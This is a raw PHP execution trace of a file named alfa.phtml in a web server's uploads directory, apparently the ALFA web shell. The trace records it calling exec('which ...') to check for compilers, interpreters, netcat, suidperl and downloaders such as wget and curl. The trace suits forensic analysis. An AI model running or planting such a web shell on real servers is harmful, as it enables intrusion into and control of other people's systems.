3 A /var/www/html/uploads/alfa.phtml 1153 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3 A /var/www/html/uploads/alfa.phtml 1154 $x = 0
4 295 0 0.034513 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'gcc'
5 296 0 0.034528 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which gcc' FALSE FALSE ???
6 297 0 0.034542 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which gcc' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 298 0 0.034566 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 298 1 0.034586 2801776
7 298 R TRUE
7 299 0 0.034599 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which gcc' ''
7 299 1 0.035890 2802280
7 299 R '/usr/bin/gcc'
7 300 0 0.035923 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/gcc']
7 300 1 0.035941 2802240
7 300 R '/usr/bin/gcc'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/gcc'
6 297 1 0.035970 2801776
6 297 R '/usr/bin/gcc'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/gcc'
5 296 1 0.035997 2801776
5 296 R '/usr/bin/gcc'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/gcc'
4 295 1 0.036023 2801696
4 295 R 12
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 301 0 0.036049 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'lcc'
5 302 0 0.036063 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which lcc' FALSE FALSE ???
6 303 0 0.036077 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which lcc' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 304 0 0.036102 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 304 1 0.036116 2801776
7 304 R TRUE
7 305 0 0.036129 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which lcc' ''
7 305 1 0.037785 2801880
7 305 R ''
7 306 0 0.037822 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 306 1 0.037840 2801880
7 306 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 303 1 0.037867 2801736
6 303 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 302 1 0.037892 2801736
5 302 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 301 1 0.037917 2801696
4 301 R FALSE
4 307 0 0.037933 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'cc'
5 308 0 0.037948 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which cc' FALSE FALSE ???
6 309 0 0.037963 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which cc' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 310 0 0.037988 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 310 1 0.038003 2801776
7 310 R TRUE
7 311 0 0.038016 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which cc' ''
7 311 1 0.039393 2802280
7 311 R '/usr/bin/cc'
7 312 0 0.039422 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/cc']
7 312 1 0.039440 2802240
7 312 R '/usr/bin/cc'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/cc'
6 309 1 0.039468 2801776
6 309 R '/usr/bin/cc'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/cc'
5 308 1 0.039494 2801776
5 308 R '/usr/bin/cc'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/cc'
4 307 1 0.039518 2801696
4 307 R 11
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 313 0 0.039545 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'ld'
5 314 0 0.039558 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which ld' FALSE FALSE ???
6 315 0 0.039573 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which ld' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 316 0 0.039597 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 316 1 0.039611 2801776
7 316 R TRUE
7 317 0 0.039624 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which ld' ''
7 317 1 0.040849 2802280
7 317 R '/usr/bin/ld'
7 318 0 0.040875 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/ld']
7 318 1 0.040892 2802240
7 318 R '/usr/bin/ld'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/ld'
6 315 1 0.040920 2801776
6 315 R '/usr/bin/ld'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/ld'
5 314 1 0.040945 2801776
5 314 R '/usr/bin/ld'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/ld'
4 313 1 0.040978 2801696
4 313 R 11
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 319 0 0.041003 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'make'
5 320 0 0.041017 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which make' FALSE FALSE ???
6 321 0 0.041031 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which make' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 322 0 0.041056 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 322 1 0.041069 2801776
7 322 R TRUE
7 323 0 0.041082 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which make' ''
7 323 1 0.042309 2802280
7 323 R '/usr/bin/make'
7 324 0 0.042335 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/make']
7 324 1 0.042353 2802240
7 324 R '/usr/bin/make'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/make'
6 321 1 0.042380 2801776
6 321 R '/usr/bin/make'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/make'
5 320 1 0.042406 2801776
5 320 R '/usr/bin/make'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/make'
4 319 1 0.042431 2801696
4 319 R 13
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 325 0 0.042455 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'php'
5 326 0 0.042469 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which php' FALSE FALSE ???
6 327 0 0.042483 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which php' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 328 0 0.042508 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 328 1 0.042521 2801776
7 328 R TRUE
7 329 0 0.042534 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which php' ''
7 329 1 0.043722 2802280
7 329 R '/usr/bin/php'
7 330 0 0.043747 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/php']
7 330 1 0.043763 2802240
7 330 R '/usr/bin/php'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/php'
6 327 1 0.043791 2801776
6 327 R '/usr/bin/php'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/php'
5 326 1 0.043816 2801776
5 326 R '/usr/bin/php'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/php'
4 325 1 0.043841 2801696
4 325 R 12
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 331 0 0.043864 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'perl'
5 332 0 0.043878 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which perl' FALSE FALSE ???
6 333 0 0.043893 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which perl' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 334 0 0.043917 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 334 1 0.043931 2801776
7 334 R TRUE
7 335 0 0.043943 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which perl' ''
7 335 1 0.045151 2802280
7 335 R '/usr/bin/perl'
7 336 0 0.045176 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/perl']
7 336 1 0.045193 2802240
7 336 R '/usr/bin/perl'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/perl'
6 333 1 0.045220 2801776
6 333 R '/usr/bin/perl'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/perl'
5 332 1 0.045246 2801776
5 332 R '/usr/bin/perl'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/perl'
4 331 1 0.045271 2801696
4 331 R 13
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 337 0 0.045295 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'python'
5 338 0 0.045309 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which python' FALSE FALSE ???
6 339 0 0.045323 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which python' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 340 0 0.045352 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 340 1 0.045366 2801776
7 340 R TRUE
7 341 0 0.045379 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which python' ''
7 341 1 0.046461 2801880
7 341 R ''
7 342 0 0.046485 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 342 1 0.046500 2801880
7 342 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 339 1 0.046526 2801736
6 339 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 338 1 0.046550 2801736
5 338 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 337 1 0.046573 2801696
4 337 R FALSE
4 343 0 0.046586 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'ruby'
5 344 0 0.046600 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which ruby' FALSE FALSE ???
6 345 0 0.046615 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which ruby' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 346 0 0.046639 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 346 1 0.046653 2801776
7 346 R TRUE
7 347 0 0.046666 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which ruby' ''
7 347 1 0.047670 2801880
7 347 R ''
7 348 0 0.047693 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 348 1 0.047708 2801880
7 348 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 345 1 0.047733 2801736
6 345 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 344 1 0.047757 2801736
5 344 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 343 1 0.047779 2801696
4 343 R FALSE
4 349 0 0.047793 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'tar'
5 350 0 0.047807 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which tar' FALSE FALSE ???
6 351 0 0.047821 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which tar' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 352 0 0.047845 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 352 1 0.047859 2801776
7 352 R TRUE
7 353 0 0.047872 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which tar' ''
7 353 1 0.048877 2802280
7 353 R '/usr/bin/tar'
7 354 0 0.048901 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/tar']
7 354 1 0.048918 2802240
7 354 R '/usr/bin/tar'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/tar'
6 351 1 0.048946 2801776
6 351 R '/usr/bin/tar'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/tar'
5 350 1 0.048971 2801776
5 350 R '/usr/bin/tar'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/tar'
4 349 1 0.048996 2801696
4 349 R 12
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 355 0 0.049020 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'gzip'
5 356 0 0.049033 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which gzip' FALSE FALSE ???
6 357 0 0.049048 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which gzip' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 358 0 0.049072 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 358 1 0.049086 2801776
7 358 R TRUE
7 359 0 0.049099 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which gzip' ''
7 359 1 0.050314 2802280
7 359 R '/usr/bin/gzip'
7 360 0 0.050348 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/gzip']
7 360 1 0.050366 2802240
7 360 R '/usr/bin/gzip'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/gzip'
6 357 1 0.050395 2801776
6 357 R '/usr/bin/gzip'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/gzip'
5 356 1 0.050430 2801776
5 356 R '/usr/bin/gzip'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/gzip'
4 355 1 0.050455 2801696
4 355 R 13
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 361 0 0.050482 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'bzip'
5 362 0 0.050500 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which bzip' FALSE FALSE ???
6 363 0 0.050517 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which bzip' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 364 0 0.050549 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 364 1 0.050569 2801776
7 364 R TRUE
7 365 0 0.050587 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which bzip' ''
7 365 1 0.052188 2801880
7 365 R ''
7 366 0 0.052221 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 366 1 0.052238 2801880
7 366 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 363 1 0.052265 2801736
6 363 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 362 1 0.052289 2801736
5 362 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 361 1 0.052313 2801696
4 361 R FALSE
4 367 0 0.052328 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'bzialfa2'
5 368 0 0.052343 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which bzialfa2' FALSE FALSE ???
6 369 0 0.052358 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which bzialfa2' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 370 0 0.052383 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 370 1 0.052398 2801776
7 370 R TRUE
7 371 0 0.052411 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which bzialfa2' ''
7 371 1 0.053722 2801880
7 371 R ''
7 372 0 0.053749 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 372 1 0.053764 2801880
7 372 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 369 1 0.053790 2801736
6 369 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 368 1 0.053814 2801736
5 368 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 367 1 0.053838 2801696
4 367 R FALSE
4 373 0 0.053852 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'nc'
5 374 0 0.053866 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which nc' FALSE FALSE ???
6 375 0 0.053880 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which nc' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 376 0 0.053904 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 376 1 0.053919 2801776
7 376 R TRUE
7 377 0 0.053932 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which nc' ''
7 377 1 0.055115 2802280
7 377 R '/usr/bin/nc'
7 378 0 0.055142 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/nc']
7 378 1 0.055169 2802240
7 378 R '/usr/bin/nc'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/nc'
6 375 1 0.055197 2801776
6 375 R '/usr/bin/nc'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/nc'
5 374 1 0.055223 2801776
5 374 R '/usr/bin/nc'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/nc'
4 373 1 0.055249 2801696
4 373 R 11
3 A /var/www/html/uploads/alfa.phtml 1155 $x++
4 379 0 0.055275 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'locate'
5 380 0 0.055289 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which locate' FALSE FALSE ???
6 381 0 0.055304 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which locate' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 382 0 0.055328 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 382 1 0.055349 2801776
7 382 R TRUE
7 383 0 0.055363 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which locate' ''
7 383 1 0.056543 2801880
7 383 R ''
7 384 0 0.056566 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 384 1 0.056582 2801880
7 384 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 381 1 0.056607 2801736
6 381 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 380 1 0.056631 2801736
5 380 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 379 1 0.056654 2801696
4 379 R FALSE
4 385 0 0.056668 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1155 1 'suidperl'
5 386 0 0.056682 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which suidperl' FALSE FALSE ???
6 387 0 0.056696 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which suidperl' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 388 0 0.056721 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 388 1 0.056735 2801776
7 388 R TRUE
7 389 0 0.056747 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which suidperl' ''
7 389 1 0.057941 2801880
7 389 R ''
7 390 0 0.057963 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 390 1 0.057978 2801880
7 390 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 387 1 0.058003 2801736
6 387 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 386 1 0.058026 2801736
5 386 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 385 1 0.058049 2801696
4 385 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1161 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3 A /var/www/html/uploads/alfa.phtml 1162 $x = 0
4 391 0 0.058100 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'wget'
5 392 0 0.058117 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which wget' FALSE FALSE ???
6 393 0 0.058135 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which wget' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 394 0 0.058168 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 394 1 0.058187 2801776
7 394 R TRUE
7 395 0 0.058206 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which wget' ''
7 395 1 0.059397 2802280
7 395 R '/usr/bin/wget'
7 396 0 0.059421 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/wget']
7 396 1 0.059438 2802240
7 396 R '/usr/bin/wget'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/wget'
6 393 1 0.059466 2801776
6 393 R '/usr/bin/wget'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/wget'
5 392 1 0.059492 2801776
5 392 R '/usr/bin/wget'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/wget'
4 391 1 0.059519 2801696
4 391 R 13
3 A /var/www/html/uploads/alfa.phtml 1163 $x++
4 397 0 0.059543 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'fetch'
5 398 0 0.059557 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which fetch' FALSE FALSE ???
6 399 0 0.059572 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which fetch' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 400 0 0.059597 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 400 1 0.059610 2801776
7 400 R TRUE
7 401 0 0.059624 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which fetch' ''
7 401 1 0.061769 2801880
7 401 R ''
7 402 0 0.061797 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 402 1 0.061813 2801880
7 402 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 399 1 0.061839 2801736
6 399 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 398 1 0.061877 2801736
5 398 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 397 1 0.061913 2801696
4 397 R FALSE
4 403 0 0.061936 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'lynx'
5 404 0 0.061955 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which lynx' FALSE FALSE ???
6 405 0 0.061971 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which lynx' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 406 0 0.061996 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 406 1 0.062010 2801776
7 406 R TRUE
7 407 0 0.062023 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which lynx' ''
7 407 1 0.063040 2801880
7 407 R ''
7 408 0 0.063064 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 408 1 0.063080 2801880
7 408 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 405 1 0.063105 2801736
6 405 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 404 1 0.063130 2801736
5 404 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 403 1 0.063163 2801696
4 403 R FALSE
4 409 0 0.063178 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'links'
5 410 0 0.063192 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which links' FALSE FALSE ???
6 411 0 0.063207 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which links' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 412 0 0.063232 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 412 1 0.063246 2801776
7 412 R TRUE
7 413 0 0.063260 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which links' ''
7 413 1 0.064497 2801880
7 413 R ''
7 414 0 0.064529 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 414 1 0.064546 2801880
7 414 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 411 1 0.064572 2801736
6 411 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 410 1 0.064596 2801736
5 410 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 409 1 0.064620 2801696
4 409 R FALSE
4 415 0 0.064634 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'curl'
5 416 0 0.064648 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which curl' FALSE FALSE ???
6 417 0 0.064663 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which curl' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 418 0 0.064688 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 418 1 0.064702 2801776
7 418 R TRUE
7 419 0 0.064715 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which curl' ''
7 419 1 0.066032 2802280
7 419 R '/usr/bin/curl'
7 420 0 0.066061 2802176 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/curl']
7 420 1 0.066078 2802240
7 420 R '/usr/bin/curl'
6 A /var/www/html/uploads/alfa.phtml 763 $out = '/usr/bin/curl'
6 417 1 0.066106 2801776
6 417 R '/usr/bin/curl'
5 A /var/www/html/uploads/alfa.phtml 744 $data = '/usr/bin/curl'
5 416 1 0.066131 2801776
5 416 R '/usr/bin/curl'
4 A /var/www/html/uploads/alfa.phtml 2404 $path = '/usr/bin/curl'
4 415 1 0.066156 2801696
4 415 R 13
3 A /var/www/html/uploads/alfa.phtml 1163 $x++
4 421 0 0.066182 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'get'
5 422 0 0.066196 2801736 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which get' FALSE FALSE ???
6 423 0 0.066211 2801736 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which get' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 424 0 0.066235 2801736 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 424 1 0.066249 2801776
7 424 R TRUE
7 425 0 0.066262 2801760 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which get' ''
7 425 1 0.067553 2801880
7 425 R ''
7 426 0 0.067576 2801816 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' []
7 426 1 0.067591 2801880
7 426 R ''
6 A /var/www/html/uploads/alfa.phtml 763 $out = ''
6 423 1 0.067616 2801736
6 423 R ''
5 A /var/www/html/uploads/alfa.phtml 744 $data = ''
5 422 1 0.067640 2801736
5 422 R ''
4 A /var/www/html/uploads/alfa.phtml 2404 $path = ''
4 421 1 0.067663 2801696
4 421 R FALSE
4 427 0 0.067677 2801696 alfaWhich 1 /var/www/html/uploads/alfa.phtml 1163 1 'lwp-mirror'
5 428 0 0.067691 2801744 alfaEx 1 /var/www/html/uploads/alfa.phtml 2404 4 'which lwp-mirror' FALSE FALSE ???
6 429 0 0.067705 2801744 _alfa_php_cmd 1 /var/www/html/uploads/alfa.phtml 744 2 'which lwp-mirror' FALSE
6 A /var/www/html/uploads/alfa.phtml 758 $out = ''
7 430 0 0.067729 2801744 function_exists 0 /var/www/html/uploads/alfa.phtml 761 1 'exec'
7 430 1 0.067743 2801784
7 430 R TRUE
7 431 0 0.067756 2801768 exec 0 /var/www/html/uploads/alfa.phtml 762 2 'which lwp-mirror' ''
7 431 1 0.068938 2802304
7 431 R '/usr/bin/lwp-mirror'
7 432 0 0.068962 2802192 join 0 /var/www/html/uploads/alfa.phtml 763 2 '\n' [0 => '/usr/bin/lwp-mirror']
7 432 1 0.068979 2802256
7 432 R '/usr/bin/lwp-mirror'
